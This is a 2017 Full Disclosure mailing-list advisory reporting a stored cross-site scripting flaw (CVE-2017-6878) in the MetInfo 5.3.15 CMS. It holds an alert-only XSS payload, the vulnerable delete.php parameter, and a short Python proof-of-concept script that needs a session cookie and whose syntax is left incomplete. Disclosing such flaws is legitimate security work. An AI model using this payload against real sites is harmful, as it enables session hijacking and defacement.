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Date: Sat, 18 Mar 2017 00:50:29 +0800 (CST)
From: 陈彦羽 <>
Subject: [FD] [CVE-2017-6878]:MetInfo5.3.15 Stored Cross Site Scripting

The following is my application vulnerabilities.
[CVE-2017-6878]:MetInfo5.3.15 Stored Cross Site Scripting
Application: MetInfo
Versions Affected: 5.3.15
Vendor URL:
Software Link:
Bugs: Stored XSS
Author:Arice.chen(DBAPPSecurity Ltd)
MetInfo was established in March 2009, is a enterprise CMS, more than 40 m enterprises in the use of MeInfo build their own enterprise website.

Vulnerability details:
To modify, add a message in problem position insert JavaScript test code <img src=x onerror=alert(1)>
Then the background access to relevant pages, or other users access to the front desk page will make the attack code is executed.
DBAppSecurity Ltd

import requests
url = "<img src=x onerror=alert(2)>&nav_2=1&index_num_2=0&action=editor&lang=cn&anyid=25&allid=2,"
headers = {
     "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
cookies = dict(PHPSESSID="9o2pth5a43hpj23nflnc7lfi24",
s = requests.get(url,cookies=cookies,headers=headers,timeout=10,verify=False)
if s.status_code==200:
  print 'Success'

Use this POC needs to obtain the cookie after login, because insert JavaScript place in the background.
The problem find is delete.php?name_2=
payload is :<img src=x onerror=alert(2)>

If after the success of the insert JavaScript, to several places in the background and other users access to the front desk page to attack code execution

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